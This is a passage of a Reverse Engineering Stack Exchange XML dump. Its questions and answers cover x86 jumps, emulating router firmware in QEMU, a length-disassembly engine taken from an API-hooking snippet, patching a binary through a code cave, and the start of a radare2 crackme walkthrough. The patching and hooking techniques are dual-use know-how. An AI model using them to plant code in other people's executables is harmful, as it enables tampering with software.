will require longer instruction sequence, it does not tell the whole story. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This, then raises another question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why, then, isn't there a near, immediate, absolute jump in x86?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Simple answer is that there just isn't one. One can speculate about the reasoning behind the instruction set design decisions but adding instructions is expensive and complex. I assume there was no real need for near absolute immediate jump, as it is indeed a rare occasion where you need to jump to an address known ahead of time and a relative jump won't do.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-10-01T19:30:59.410" LastActivityDate="2018-10-01T19:30:59.410" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19468" PostTypeId="2" ParentId="19448" CreationDate="2018-09-26T20:45:12.100" Score="2" Body="&lt;p&gt;After downloading and reviewing the file you shared, I can certainly say &lt;em&gt;the &lt;code&gt;pthread_attr_getstack&lt;/code&gt; function is never used by the binary&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're still certain the function is used it could be the case that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The function is dynamically loaded. I've searched for any clear dynamic loading using the &lt;code&gt;dlsym&lt;/code&gt; function but I could've missed something (or there could be something more elaborate going on.&lt;/li&gt;&#xA;&lt;li&gt;The function could be used through another binary that is by itself used by your binary.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In any case, for multiple reasons presence in the import table does not necessarily imply the function is being used by the binary.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-09-26T20:45:12.100" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19469" PostTypeId="1" CreationDate="2018-09-26T21:34:21.260" Score="8" ViewCount="984" Body="&lt;p&gt;I am trying to run an executable file that I dug out from an extracted file system of a DSL modem router. So first of all I needed to either have a MIPS Linux box or take the emulation path. After some research and effort I got QEMU running a Debian MIPS system with network access and USB support to copy the file in the emulated file system: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append &quot;root=/dev/sda1 console=tty0&quot; -net nic -net tap -usb -device usb-host,hostbus=1,hostaddr=8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I copied the file, changed the &lt;code&gt;rwx&lt;/code&gt; attributes and tried to execute it, but without success&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mips:~/myfiles/# ./generator&#xA;-bash: ./generator: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file actually exists if I list the contents of the directory.&#xA;After that I did notice some missing libraries :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mips:~/myfiles# ldd generator&#xA;    libcrypto.so.0.9.8 =&amp;gt; /usr/lib/libcrypto.so.0.9.8 (0x2aaad000)&#xA;    libc.so.0 =&amp;gt; not found&#xA;    libd1.so.2 =&amp;gt; /lib/libd1.so.2 (0x2ac2d000)&#xA;    libz.so.1 =&amp;gt; /usr/lib/libz.so.1 (0x2ac41000)&#xA;    libc.so.6 =&amp;gt; /lib/libc.so.6 (0x2ac67000)&#xA;    /lib/ld-uClibc.so.0 =&amp;gt; /lib/ld.so.1 (0x55550000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I copied the missing &lt;code&gt;libc.so.0&lt;/code&gt; from the extracted router firmware files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cp libc.so.0 /usr/lib&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there was another missing file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mips:~/myfiles# ldd generator&#xA;    libcrypto.so.0.9.8 =&amp;gt; /usr/lib/libcrypto.so.0.9.8 (0x2aaad000)&#xA;    libc.so.0 =&amp;gt; /usr/lib/libc.so.0 (0x2ac2d00)&#xA;    libd1.so.2 =&amp;gt; /lib/libd1.so.2 (0x2ac8f000)&#xA;    libz.so.1 =&amp;gt; /usr/lib/libz.so.1 (0x2aca3000)&#xA;    libc.so.6 =&amp;gt; /lib/libc.so.6 (0x2acc9000)&#xA;    /lib/ld-uClibc.so.0 =&amp;gt; /lib/ld.so.1 (0x55550000)&#xA;    ld-uClibc.so.0 =&amp;gt; not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copied it again from the router extracted firmware:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cp ld-uClibc.so.0 /usr/lib&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything seemed OK at this point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mips:~/myfiles# ldd generator&#xA;    libcrypto.so.0.9.8 =&amp;gt; /usr/lib/libcrypto.so.0.9.8 (0x2aaad000)&#xA;    libc.so.0 =&amp;gt; /usr/lib/libc.so.0 (0x2ac2d00)&#xA;    libd1.so.2 =&amp;gt; /lib/libd1.so.2 (0x2ac8f000)&#xA;    libz.so.1 =&amp;gt; /usr/lib/libz.so.1 (0x2aca3000)&#xA;    libc.so.6 =&amp;gt; /lib/libc.so.6 (0x2acc9000)&#xA;    ld-uClibc.so.0 =&amp;gt; /usr/lib/ld-uClibc,so,0 (0x2ae4b000)&#xA;    /lib/ld-uClibc.so.0 =&amp;gt; /lib/ld.so.1 (0x55550000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I am still unable to execute the file.&#xA;Some additional info about it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mips:~/myfiles# file generator&#xA;generator: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked (uses shared libs), stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did mess around a bit more with the library files deleting those i copied and tried something like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ln -s /lib/libc.so.6 /lib/libc.so.0&#xA;&#xA;root@debian-mips:~/myfiles# ldd generator&#xA;    libcrypto.so.0.9.8 =&amp;gt; /usr/lib/libcrypto.so.0.9.8 (0x2aaad000)&#xA;    libc.so.0 =&amp;gt; /lib/libc.so.0 (0x2ac2d000)&#xA;    libd1.so.2 =&amp;gt; /lib/libd1.so.2 (0x2adaf000)&#xA;    libz.so.1 =&amp;gt; /usr/lib/libz.so.1 (0x2adc3000)&#xA;    /lib/ld-uClibc.so.0 =&amp;gt; /lib/ld.so.1 (0x55550000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still the same disappointing &quot;no such file or directory message&quot;...&#xA;Any kind of help would be appreciated cause it feels like a dead end after all this...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;@ SYS_V It appear that the Debian Mips distro didnt have strace and apt-get install was failing. I had to manually find it and dpkg it so after all that gives :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[11036.872000] ------------[ cut here ]------------&#xA;&#xA;[11036.884000] WARNING: at /build/linux-2.6-KrPu_f/linux-2.6-2.6.32/debian/build/source_mips_none/kernel/sched.c:2628 wake_up_process+0x48/0x50()&#xA;&#xA;[11036.904000] Modules linked in: ipv6 loop mtdchar uhci_hcd ehci_hcd cfi_cmdset_0001 cfi_probe gen_probe cfi_util sg physmap mtd psmouse i2c_piix4 usbcore se_mood chipreg serio_raw evdev map_funcs nls_base cdrom i2c_core&#xA;&#xA;[11037.180000] Call Trace:&#xA;&#xA;[11037.196000] [&amp;lt;8010bb24&amp;gt;] dump_stack+0x8/0x34&#xA;&#xA;[11037.208000] [&amp;lt;80138a10&amp;gt;] warn_slowpath_common+0x70/0xb0&#xA;&#xA;[11037.216000] [&amp;lt;8013534c&amp;gt;] wake_up_process+0x48/0x50&#xA;&#xA;[11037.232000] [&amp;lt;801116ac&amp;gt;] arch_ptrace+0x214/0x770&#xA;&#xA;[11037.244000] [&amp;lt;801457e8&amp;gt;] sys_ptrace+0x9c/0x260&#xA;&#xA;[11037.256000] [&amp;lt;80102210&amp;gt;] stack_done+0x20/0x3c&#xA;&#xA;[11037.268000]&#xA;&#xA;[11037.280000] ---[ end trace a7daf16cd1f695f3 ]---&#xA;&#xA;[11823.624000] CE: MIPS Increasing min_delta_ns to 51830 nsec&#xA;&#xA;[11823.624000] CE: MIPS Increasing min_delta_ns to 77744 nsec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and prompts right there infinitely and needs ctrl+c to return to linux prompt.&lt;/p&gt;&#xA;" OwnerUserId="25737" LastEditorUserId="18317" LastEditDate="2018-10-01T23:55:28.090" LastActivityDate="2022-03-11T17:05:30.537" Title="Extracted router file execution" Tags="|linux|embedded|mips|qemu|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19470" PostTypeId="2" ParentId="19469" CreationDate="2018-09-26T22:11:57.040" Score="0" Body="&lt;p&gt;Try to compare your firmware binary and any &quot;malta&quot; binary using &lt;code&gt;readelf&lt;/code&gt; to find differences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -a gdb | more&#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00&#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, big endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           MIPS R3000&#xA;  Version:                           0x1&#xA;  Entry point address:               0x431fd0&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          4016720 (bytes into file)&#xA;  Flags:                             0x5, noreorder, cpic, mips1&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24877" LastEditorUserId="18317" LastEditDate="2018-09-26T22:14:13.217" LastActivityDate="2018-09-26T22:14:13.217" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19473" PostTypeId="1" CreationDate="2018-09-27T12:20:19.293" Score="1" ViewCount="1417" Body="&lt;p&gt;I am apparently not very good with assembly as I am novice to somethings! Hence i wanted to make a question again.&#xA;Now i got this from here to make something like a LDE (Length Disassembly Engine) Since I have knowledge of C/C++ and Object Pascal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I see this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.delphibasics.info/home/delphibasicssnippets/magicapihook&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.delphibasics.info/home/delphibasicssnippets/magicapihook&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understood everything only this getting the upcode part&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function OpCodeLength(Address:DWORD):DWORD; cdecl; assembler;&#xA;const&#xA;  O_UNIQUE = 0;&#xA;  O_PREFIX = 1;&#xA;  O_IMM8 = 2;&#xA;  O_IMM16 = 3;&#xA;  O_IMM24 = 4;&#xA;  O_IMM32 = 5;&#xA;  O_IMM48 = 6;&#xA;  O_MODRM = 7;&#xA;  O_MODRM8 = 8;&#xA;  O_MODRM32 = 9;&#xA;  O_EXTENDED = 10;&#xA;  O_WEIRD = 11;&#xA;  O_ERROR = 12;&#xA;asm&#xA; pushad&#xA; cld&#xA; xor edx, edx&#xA; mov esi, Address&#xA;  mov ebp, esp&#xA; push 1097F71Ch&#xA; push 0F71C6780h&#xA; push 17389718h&#xA; push 101CB718h&#xA; push 17302C17h&#xA; push 18173017h&#xA; push 0F715F547h&#xA; push 4C103748h&#xA; push 272CE7F7h&#xA; push 0F7AC6087h&#xA; push 1C121C52h&#xA; push 7C10871Ch&#xA; push 201C701Ch&#xA; push 4767602Bh&#xA; push 20211011h&#xA; push 40121625h&#xA; push 82872022h&#xA; push 47201220h&#xA; push 13101419h&#xA; push 18271013h&#xA; push 28858260h&#xA; push 15124045h&#xA; push 5016A0C7h&#xA; push 28191812h&#xA; push 0F2401812h&#xA; push 19154127h&#xA; push 50F0F011h&#xA; mov ecx, 15124710h&#xA; push ecx&#xA; push 11151247h&#xA; push 10111512h&#xA; push 47101115h&#xA; mov eax, 12472015h&#xA; push eax&#xA; push eax&#xA; push 12471A10h&#xA; add cl, 10h&#xA; push ecx&#xA; sub cl, 20h&#xA; push ecx&#xA; xor ecx, ecx&#xA; dec ecx&#xA;@@ps:&#xA; inc  ecx&#xA; mov  edi, esp&#xA;@@go:&#xA; lodsb&#xA; mov  bh, al&#xA;@@ft:&#xA; mov  ah, [edi]&#xA; inc  edi&#xA; shr  ah, 4&#xA; sub  al, ah&#xA; jnc  @@ft&#xA; mov al, [edi-1]&#xA; and al, 0Fh&#xA; cmp  al, O_ERROR&#xA; jnz  @@i7&#xA; pop edx&#xA; not edx&#xA;@@i7:&#xA; inc edx&#xA; cmp al, O_UNIQUE&#xA; jz @@t_exit&#xA; cmp al, O_PREFIX&#xA; jz @@ps&#xA; add  edi, 51h&#xA; cmp  al, O_EXTENDED&#xA; jz   @@go&#xA; mov edi, [ebp+((1+8)*4)+4]&#xA;@@i6:&#xA;    inc  edx&#xA;    cmp  al, O_IMM8&#xA;    jz   @@t_exit&#xA;    cmp  al, O_MODRM&#xA;    jz   @@t_modrm&#xA;    cmp  al, O_WEIRD&#xA;    jz   @@t_weird&#xA;@@i5:&#xA;    inc  edx&#xA;    cmp  al, O_IMM16&#xA;    jz   @@t_exit&#xA;    cmp  al, O_MODRM8&#xA;    jz   @@t_modrm&#xA;@@i4:&#xA;    inc  edx&#xA;    cmp  al, O_IMM24&#xA;    jz   @@t_exit&#xA;@@i3:&#xA;    inc  edx&#xA;@@i2:&#xA;    inc  edx&#xA;    pushad&#xA;    mov  al, 66h&#xA;    repnz scasb&#xA;    popad&#xA;    jnz  @@c32&#xA;@@d2:&#xA;    dec  edx&#xA;    dec  edx&#xA;@@c32:&#xA;    cmp  al, O_MODRM32&#xA;    jz   @@t_modrm&#xA;    sub  al, O_IMM32&#xA;    jz   @@t_imm32&#xA;@@i1:&#xA;    inc  edx&#xA;@@t_exit:&#xA;    jmp @@ASMEnded&#xA;@@t_modrm:&#xA;       lodsb&#xA;       mov  ah, al&#xA;       shr  al, 7&#xA;       jb   @@prmk&#xA;       jz   @@prm&#xA;       add  dl, 4&#xA;       pushad&#xA;       mov  al, 67h&#xA;       repnz scasb&#xA;       popad&#xA;       jnz  @@prm&#xA;@@d3:  sub  dl, 3&#xA;       dec  al&#xA;@@prmk:jnz  @@t_exit&#xA;       inc  edx&#xA;       inc  eax&#xA;@@prm:&#xA;       and  ah, 00000111b&#xA;       pushad&#xA;       mov  al, 67h&#xA;       repnz scasb&#xA;       popad&#xA;       jz   @@prm67chk&#xA;       cmp  ah, 04h&#xA;       jz   @@prmsib&#xA;       cmp  ah, 05h&#xA;       jnz  @@t_exit&#xA;@@prm5chk:&#xA;       dec  al&#xA;       jz   @@t_exit&#xA;@@i42: add  dl, 4&#xA;       jmp  @@t_exit&#xA;@@prm67chk:&#xA;       cmp  ax, 0600h&#xA;       jnz  @@t_exit&#xA;       inc  edx&#xA;       jmp  @@i1&#xA;@@prmsib:&#xA;       cmp  al, 00h&#xA;       jnz  @@i1&#xA;       lodsb&#xA;       and  al, 00000111b&#xA;       sub  al, 05h&#xA;       jnz  @@i1&#xA;       inc  edx&#xA;       jmp  @@i42&#xA;@@t_weird:&#xA;       test byte ptr [esi], 00111000b&#xA;       jnz  @@t_modrm&#xA;       mov  al, O_MODRM8&#xA;       shr  bh, 1&#xA;       adc  al, 0&#xA;       jmp  @@i5&#xA;@@t_imm32:&#xA;       sub  bh, 0A0h&#xA;       cmp  bh, 04h&#xA;       jae  @@d2&#xA;       pushad&#xA;       mov  al, 67h&#xA;       repnz scasb&#xA;       popad&#xA;       jnz  @@chk66t&#xA;@@d4:  dec  edx&#xA;       dec  edx&#xA;@@chk66t:&#xA;       pushad&#xA;       mov  al, 66h&#xA;       repnz scasb&#xA;       popad&#xA;       jz   @@i1&#xA;       jnz  @@d2&#xA;@@ASMEnded:&#xA;    mov esp, ebp&#xA;    mov [result+(9*4)], edx&#xA;    popad&#xA;end;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now here comes my Question, what exactly did the Author do at this point?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  O_UNIQUE = 0;&#xA;  O_PREFIX = 1;&#xA;  O_IMM8 = 2;&#xA;  O_IMM16 = 3;&#xA;  O_IMM24 = 4;&#xA;  O_IMM32 = 5;&#xA;  O_IMM48 = 6;&#xA;  O_MODRM = 7;&#xA;  O_MODRM8 = 8;&#xA;  O_MODRM32 = 9;&#xA;  O_EXTENDED = 10;&#xA;  O_WEIRD = 11;&#xA;  O_ERROR = 12;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for the Assembly in brief detail, what did he do there. I am a Novice to Assembly.&lt;/p&gt;&#xA;" OwnerUserId="25807" LastEditorUserId="2147" LastEditDate="2018-09-28T19:41:05.487" LastActivityDate="2018-09-28T19:41:05.487" Title="Getting opcode Length , How to" Tags="|disassembly|x86|x86-64|assembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19474" PostTypeId="1" AcceptedAnswerId="19477" CreationDate="2018-09-27T13:58:26.977" Score="4" ViewCount="607" Body="&lt;p&gt;I'm trying to replace a static value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV DWORD PTR SS:[EBP-30],4c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With a value from a specific address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV DWORD PTR SS:[EBP-30],400400 // MOV DWORD PTR SS:[EBP-30],OFFSET 400400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;SS:[EBP-30]&lt;/code&gt; is not being set to the value from &lt;code&gt;0x400400&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to this but I was thinking this would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV DWORD PTR SS:[EBP-30],DWORD PTR DS:[400400]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I guess it doesn't because &lt;strong&gt;ollydbg&lt;/strong&gt; gives an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value from &lt;code&gt;0x400400&lt;/code&gt; is &lt;code&gt;int 100&lt;/code&gt; or &lt;code&gt;64 00 00 00&lt;/code&gt;. Why doesn't it work? And what are my options? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was also thinking of doing something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV ECX,DWORD PTR DS:[400400]&#xA;MOV DWORD PTR SS:[EBP-30],ECX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't know how to add a new line of instruction in &lt;strong&gt;ollydbg&lt;/strong&gt; I was also afraid it would change all the addresses.&lt;/p&gt;&#xA;" OwnerUserId="8243" LastEditorUserId="8243" LastEditDate="2018-09-27T18:04:13.827" LastActivityDate="2018-09-27T18:04:13.827" Title="replacing static value with variable" Tags="|disassembly|ollydbg|pointer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19476" PostTypeId="2" ParentId="19474" CreationDate="2018-09-27T14:21:21.930" Score="1" Body="&lt;p&gt;Memory-to-memory &lt;code&gt;MOV&lt;/code&gt; does not exist. You could try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    MOV eax, DWORD PTR DS : [400400]&#xA;    MOV DWORD PTR SS : [EBP - 30], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please check also if the absolute numbers are interpreted as hex values in your assembler.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="12800" LastEditDate="2018-09-27T14:26:33.697" LastActivityDate="2018-09-27T14:26:33.697" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19477" PostTypeId="2" ParentId="19474" CreationDate="2018-09-27T17:12:25.080" Score="6" Body="&lt;p&gt;Let's split this up a bit. I'll skip over some stuff that you might already understand, but we may need to expand this if some stuff is not clear.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;MOV DWORD PTR SS:[EBP-30],400400&lt;/p&gt;&#xA;&lt;p&gt;MOV DWORD PTR SS:[EBP-30],DWORD PTR DS:[400400]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The syntax is a bit wonky but we can understand that you want to encode a &lt;code&gt;MOV&lt;/code&gt; with two memory operands.&#xA;Let's take a look at some documentation&lt;/p&gt;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://www.felixcloutier.com/x86/MOV.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.felixcloutier.com/x86/MOV.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is no possible encoding for &lt;code&gt;MOV&lt;/code&gt; that accepts &lt;code&gt;m32,m32&lt;/code&gt;. With &lt;code&gt;m32&lt;/code&gt; understood to be a 32 bit pointer.&lt;/p&gt;&#xA;&lt;p&gt;It's not obvious this is the case, but unfortunately it is.&lt;/p&gt;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://stackoverflow.com/a/33799523/10279341&quot;&gt;https://stackoverflow.com/a/33799523/10279341&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a good answer if you care about &lt;em&gt;why&lt;/em&gt;, but it is supplemental reading only, not critical to this situation.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;So, if we want to copy memory to memory with x86:&lt;/p&gt;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://stackoverflow.com/a/1299094/10279341&quot;&gt;https://stackoverflow.com/a/1299094/10279341&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;A commonly accepted solution is to use a register as a temporary value store.&lt;/p&gt;&#xA;&lt;p&gt;Take note that we need to save the state of the register we are using else we might accidentally alter the program state.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;MOV ECX,DWORD PTR DS:[400400]&lt;/p&gt;&#xA;&lt;p&gt;MOV DWORD PTR SS:[EBP-30],ECX&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So this is on the right track. But we need to save &lt;code&gt;ECX&lt;/code&gt; beforehand in case something else is using it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000: 51                  push ecx&#xA;0x00000001: 8b 0d 00 04 40 00   mov ecx, dword ptr [0x400400]&#xA;0x00000007: 89 4d e2            mov dword ptr [ebp - 0x1e], ecx&#xA;0x0000000a: 59                  pop ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This should do that you want. We save &lt;code&gt;ECX&lt;/code&gt; by pushing it onto the stack. Load the value at address &lt;code&gt;0x400400&lt;/code&gt; into &lt;code&gt;ECX&lt;/code&gt;. Then write the value of &lt;code&gt;ECX&lt;/code&gt; into the memory at &lt;code&gt;[EBP-0x1E]&lt;/code&gt;, then restore &lt;code&gt;ECX&lt;/code&gt; to it's previous value.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;So how do we patch this into the binary image?&lt;/p&gt;&#xA;&lt;p&gt;The above assembly is 11 bytes in length and our goal is to alter the instruction&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;0:  c7 45 e2 4c 00 00 00    mov    DWORD PTR [ebp-0x1e],0x4c&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Which we can see is 7 bytes long.&lt;/p&gt;&#xA;&lt;p&gt;We can get these extra 4 bytes by use of a &amp;quot;code cave&amp;quot;. We will redirect execution into an unused bit of memory, execute our code, then jump back.&lt;/p&gt;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves&quot; rel=&quot;noreferrer&quot;&gt;https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In short, we're looking &amp;quot;empty space&amp;quot; that is allocated/mapped within the exe image, preferably in the .text section, but are not used by the program &lt;em&gt;under any circumstances&lt;/em&gt;. This will occur in nearly every executable image due to SectionAlignment in Windows PE being 4096 by default.&lt;/p&gt;&#xA;&lt;p&gt;The easiest way to implement this is to find unused bytes in the same region of memory that we are trying to modify.&lt;/p&gt;&#xA;&lt;p&gt;A rudimentary way of finding/applying a code cave with ollydbg is shown here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://medium.com/@vysec.private/backdoor-101-f318110e1fcb&quot; rel=&quot;noreferrer&quot;&gt;https://medium.com/@vysec.private/backdoor-101-f318110e1fcb&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;After finding suitable memory for our cave, patch in the shellcode:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000: 51                  push ecx&#xA;0x00000001: 8b 0d 00 04 40 00   mov ecx, dword ptr [0x400400]&#xA;0x00000007: 89 4d e2            mov dword ptr [ebp - 0x1e], ecx&#xA;0x0000000a: 59                  pop ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;using ollydbg's assembler.&lt;/p&gt;&#xA;&lt;p&gt;Then change the original instruction of &lt;code&gt;mov DWORD PTR [ebp-0x1e],0x4c&lt;/code&gt; to &lt;code&gt;JMP x&lt;/code&gt; where &lt;code&gt;x&lt;/code&gt; is your shellcode address, in the same module/image.&lt;/p&gt;&#xA;&lt;p&gt;Overwrite the rest of the instruction bytes with 0x90 (NOP) if you want. So that we end up with:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;c7 45 e2 4c 00 00 00&lt;/code&gt; - Original instruction&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;e9 xx xx xx xx 90 90&lt;/code&gt; - JMP rel32 plus 2 NOPs&lt;/p&gt;&#xA;&lt;p&gt;Ref for x86 JMP: &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_147.html&quot; rel=&quot;noreferrer&quot;&gt;https://c9x.me/x86/html/file_module_x86_id_147.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;after &lt;code&gt;pop ecx&lt;/code&gt; back in our code cave assemble: &lt;code&gt;JMP y&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;where &lt;code&gt;y&lt;/code&gt; is the address of the instruction directly after &lt;code&gt;mov DWORD PTR [ebp-0x1e],0x4c&lt;/code&gt;. You should end up skipping over the NOP instructions when jumping out of the code cave, which is why I said they were optional.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Summary,&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Assemble our shellcode, making note of correct x86 ASM and preserving program state.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not enough space to patch the instruction in-line, idenfity a code cave.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply the code-cave and assemble the two &lt;code&gt;JMP&lt;/code&gt; instructions to redirect execution (1) to the code-cave, (2) back to the &lt;em&gt;next&lt;/em&gt; instruction from the original code.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25462" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-09-27T17:12:25.080" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19478" PostTypeId="2" ParentId="19451" CreationDate="2018-09-27T18:15:23.067" Score="2" Body="&lt;p&gt;Since another question was based on the same binary and the accepted answer doesn't go into detail on how to find the function responsible, here's a writeup.&#xA;Usual stuff &lt;code&gt;$ r2 wysiNwyg; aaa&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;have a look at the list of functions(afl)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080484a0]&amp;gt; afl&#xA;0x080483bc    3 35           fcn.080483bc&#xA;0x080483f0    1 6            sym.imp.strcmp&#xA;0x08048400    1 6            sym.imp.printf&#xA;0x08048410    1 6            sym.imp.fgets&#xA;0x08048420    1 6            sym.imp.puts&#xA;0x08048430    1 6            loc.imp.__gmon_start&#xA;0x08048440    1 6            sym.imp.exit&#xA;0x08048450    1 6            sym.imp.strlen&#xA;0x08048460    1 6            sym.imp.__libc_start_main&#xA;0x08048470    1 6            sym.imp.memset&#xA;0x08048480    1 6            sym.imp.putchar&#xA;0x08048490    1 6            sym.imp.ptrace&#xA;0x080484a0    1 33           